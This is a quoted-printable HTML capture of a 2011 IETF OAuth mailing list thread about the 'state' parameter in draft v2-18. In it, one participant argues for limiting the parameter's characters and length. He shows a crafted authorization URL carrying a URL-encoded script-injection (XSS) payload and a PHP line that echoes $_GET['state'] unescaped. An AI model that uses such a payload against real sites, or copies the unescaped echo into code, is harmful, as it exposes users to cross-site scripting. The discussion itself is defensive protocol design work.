&gt; Bob Van Zant<u></u><u></u></p></div><p class=3D"MsoNormal">&gt; Sent: =
Wednesday, July 20, 2011 9:29 AM<br>&gt; To: Eran Hammer-Lahav<br>&gt; Cc: =
Breno; OAuth WG<u></u><u></u></p><div><div><p class=3D"MsoNormal">&gt; Subj=
ect: Re: [OAUTH-WG] OAuth v2-18 comment on &quot;state&quot; parameter<br>
&gt;<br>&gt; The problem lies in the inherent trust of the state parameter.=
 The naive<br>&gt; client application developer assumes that state goes out=
 to the authorization<br>&gt; server and comes back unchanged; because that=
&#39;s what the spec says will<br>
&gt; happen.<br>&gt;<br>&gt; As a malicious person I use the client applica=
tion and steal the client id when<br>&gt; I&#39;m redirected to the authori=
zation server.<br>&gt;<br>&gt; I then craft my own authorization URL preten=
ding to act on behalf of the<br>
&gt; client application.<br>&gt;<br>&gt; <a href=3D"http://example.com/oaut=
h/authorize?client_id=3Ddeadbeef&amp;response_type=3D" target=3D"_blank">ht=
tp://example.com/oauth/authorize?client_id=3Ddeadbeef&amp;response_type=3D<=
/a><br>&gt; code&amp;state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscrip=
t%3E<br>
&gt;<br>&gt; I send that out to unsuspecting people. Those people are sent =
to my site;<br>&gt; maybe they trust it. The site is asking them to authori=
ze an application they<br>&gt; perhaps they&#39;re familiar with. So they d=
o.<br>
&gt;<br>&gt; Now the assumption, and it&#39;s really not much of a leap of =
faith, is that some<br>&gt; client developer is going to take that state va=
riable and put it directly into<br>&gt; their site. In PHP it could be some=
thing silly<br>
&gt; like:<br>&gt;<br>&gt; =A0 =A0 Thanks for authorizing our app, $_GET[&q=
uot;state&quot;].<br>&gt;<br>&gt; Chrome protects me from this basic attack=
 (I just inserted it into one of my<br>&gt; demos): Refused to execute a Ja=
vaScript script. Source code of script found<br>
&gt; within request. Other browsers won&#39;t. Real attackers are more crea=
tive than<br>&gt; me.<br>&gt;<br>&gt; -Bob<br>&gt;<br>&gt;<br>&gt;<br>&gt;<=
br>&gt;<br>&gt; On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav<br>&gt; =
&lt;<a href=3D"mailto:eran@hueniverse.com" target=3D"_blank">eran@huenivers=
e.com</a>&gt; wrote:<br>
&gt; &gt; Can you provide examples of bad values and how they make the<br>&=
gt; implementation less secure? What&#39;s the attack vector here?<br>&gt; =
&gt;<br>&gt; &gt; EHL<br>&gt; &gt;<br>&gt; &gt;&gt; -----Original Message--=
---<br>
&gt; &gt;&gt; From: <a href=3D"mailto:bigbadbob0@gmail.com" target=3D"_blan=
k">bigbadbob0@gmail.com</a> [mailto:<a href=3D"mailto:bigbadbob0@gmail.com"=
 target=3D"_blank">bigbadbob0@gmail.com</a>] On Behalf<br>&gt; Of<br>&gt; &=
gt;&gt; Bob Van Zant<br>
&gt; &gt;&gt; Sent: Wednesday, July 20, 2011 9:10 AM<br>&gt; &gt;&gt; To: B=
reno; Eran Hammer-Lahav<br>&gt; &gt;&gt; Cc: OAuth WG<br>&gt; &gt;&gt; Subj=
ect: Re: [OAUTH-WG] OAuth v2-18 comment on &quot;state&quot; parameter<br>
&gt; &gt;&gt;<br>&gt; &gt;&gt; I think somewhere in here my original commen=
ts got lost. The spec, as<br>&gt; &gt;&gt; written, provides no limitations=
 on what can go in the state variable.<br>&gt; &gt;&gt; If we don&#39;t def=
ine those limitations in the spec implementors are<br>
&gt; &gt;&gt; going to define their own limitations (I&#39;m on the verge o=
f doing it myself).<br>&gt; &gt;&gt;<br>&gt; &gt;&gt; I propose that the st=
ate variable be limited to the set of characters<br>&gt; &gt;&gt; [a-zA-Z0-=
 9_-] and be restricted to a maximum length of 150 characters.<br>
&gt; &gt;&gt; It&#39;s simple, doesn&#39;t require URL encoding, and will b=
e hard for a<br>&gt; &gt;&gt; client application to turn into a vulnerabili=
ty. It provides plenty<br>&gt; &gt;&gt; of uniqueness (it can fit a sha512)=
 for even the largest and most used<br>
&gt; client applications.<br>&gt; &gt;&gt;<br>&gt; &gt;&gt; -Bob<br>&gt; &g=
t;&gt;<br>&gt; &gt;&gt;<br>&gt; &gt;&gt; On Wed, Jul 20, 2011 at 8:24 AM, B=
reno &lt;<a href=3D"mailto:breno.demedeiros@gmail.com" target=3D"_blank">br=
eno.demedeiros@gmail.com</a>&gt;<br>
&gt; &gt;&gt; wrote:<br>&gt; &gt;&gt; &gt;<br>&gt; &gt;&gt; &gt;<br>&gt; &g=
t;&gt; &gt; On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav<br>&gt; &gt=
;&gt; &gt; &lt;<a href=3D"mailto:eran@hueniverse.com" target=3D"_blank">era=
n@hueniverse.com</a>&gt;<br>
&gt; &gt;&gt; &gt; wrote:<br>&gt; &gt;&gt; &gt;&gt;<br>&gt; &gt;&gt; &gt;&g=
t;<br>&gt; &gt;&gt; &gt;&gt; &gt; -----Original Message-----<br>&gt; &gt;&g=
t; &gt;&gt; &gt; From: <a href=3D"mailto:oauth-bounces@ietf.org" target=3D"=
_blank">oauth-bounces@ietf.org</a> [mailto:<a href=3D"mailto:oauth-bounces@=
ietf.org" target=3D"_blank">oauth-bounces@ietf.org</a>] On<br>
&gt; &gt;&gt; &gt;&gt; &gt; Behalf Of Eliot Lear<br>&gt; &gt;&gt; &gt;&gt; =
&gt; Sent: Sunday, July 17, 2011 2:49 AM<br>&gt; &gt;&gt; &gt;&gt;<br>&gt; =
&gt;&gt; &gt;&gt; &gt; One other point: if the redirection_uri can have fra=
gments and<br>
&gt; &gt;&gt; &gt;&gt; &gt; can be provided, why is state necessary?<br>&gt=
; &gt;&gt; &gt;&gt;<br>&gt; &gt;&gt; &gt;&gt; First, I assume you mean quer=
y instead of fragment.<br>&gt; &gt;&gt; &gt;&gt;<br>&gt; &gt;&gt; &gt;&gt; =
This was discussed on the list about a year ago. There isn&#39;t a<br>
&gt; &gt;&gt; &gt;&gt; requirement to support both dynamic redirection URIs=
 as well as a<br>&gt; &gt;&gt; &gt;&gt; special state parameter. However, t=
he state parameter provides a<br>&gt; &gt;&gt; &gt;&gt; better way to allow=
 customization of the redirection request<br>
&gt; &gt;&gt; &gt;&gt; alongside full registration of the redirection URI. =
Section 3.1.2<br>&gt; &gt;&gt; &gt;&gt; recommends using the state paramete=
r over changing the redirection<br>&gt; &gt;&gt; &gt;&gt; URI<br>&gt; &gt;&=
gt; itself.<br>
&gt; &gt;&gt; &gt;&gt;<br>&gt; &gt;&gt; &gt;&gt; Using state is much simple=
r because the authorization server does<br>&gt; &gt;&gt; &gt;&gt; not have =
to implement potentially insecure URI comparison<br>&gt; &gt;&gt; &gt;&gt; =
algorithms for dynamic redirection URIs.<br>
&gt; &gt;&gt; &gt;<br>&gt; &gt;&gt; &gt; Agree -- for instance, Google&#39;=
s provider doesn&#39;t allow arbitrary<br>&gt; &gt;&gt; &gt; dynamic specif=
ication of query or fragment parameters in redirect<br>&gt; &gt;&gt; &gt; U=
RIs, for instance, due largely to security considerations.<br>
&gt; &gt;&gt; &gt;<br>&gt; &gt;&gt; &gt;&gt;<br>&gt; &gt;&gt; &gt;&gt; EHL<=
br>&gt; &gt;&gt; &gt;&gt; _______________________________________________<b=
r>&gt; &gt;&gt; &gt;&gt; OAuth mailing list<br>&gt; &gt;&gt; &gt;&gt; <a hr=
ef=3D"mailto:OAuth@ietf.org" target=3D"_blank">OAuth@ietf.org</a><br>
&gt; &gt;&gt; &gt;&gt; <a href=3D"https://www.ietf.org/mailman/listinfo/oau=
th" target=3D"_blank">https://www.ietf.org/mailman/listinfo/oauth</a><br>&g=
t; &gt;&gt; &gt;<br>&gt; &gt;&gt; &gt;<br>&gt; &gt;&gt; &gt;<br>&gt; &gt;&g=
t; &gt; --<br>
&gt; &gt;&gt; &gt; Breno de Medeiros<br>&gt; &gt;&gt; &gt;<br>&gt; &gt;&gt;=
 &gt;<br>&gt; &gt;<br>_______________________________________________<br>OA=
uth mailing list<br><a href=3D"mailto:OAuth@ietf.org" target=3D"_blank">OAu=
th@ietf.org</a><br>
<a href=3D"https://www.ietf.org/mailman/listinfo/oauth" target=3D"_blank">h=
ttps://www.ietf.org/mailman/listinfo/oauth</a><u></u><u></u></p></div></div=
></div><p class=3D"MsoNormal"><br><br clear=3D"all"><br>-- <br>------------=
------------------------------------------------------<br>
Never send sensitive or private information via email unless it is encrypte=
d. <a href=3D"http://www.gnupg.org" target=3D"_blank">http://www.gnupg.org<=
/a><u></u><u></u></p></div></div></div></div></div></div><p class=3D"MsoNor=
mal">
<br><br clear=3D"all"><br>-- <br>------------------------------------------=
------------------------<br>Never send sensitive or private information via=
 email unless it is encrypted. <a href=3D"http://www.gnupg.org" target=3D"_=
blank">http://www.gnupg.org</a><u></u><u></u></p>
</div></div></div></div></div></blockquote></div><br><br clear=3D"all"><br>=
-- <br>------------------------------------------------------------------<b=
r>Never send sensitive or private information via email unless it is encryp=
ted. <a href=3D"http://www.gnupg.org">http://www.gnupg.org</a><br>


--0016e64dda1af2a65504a8e190a1--
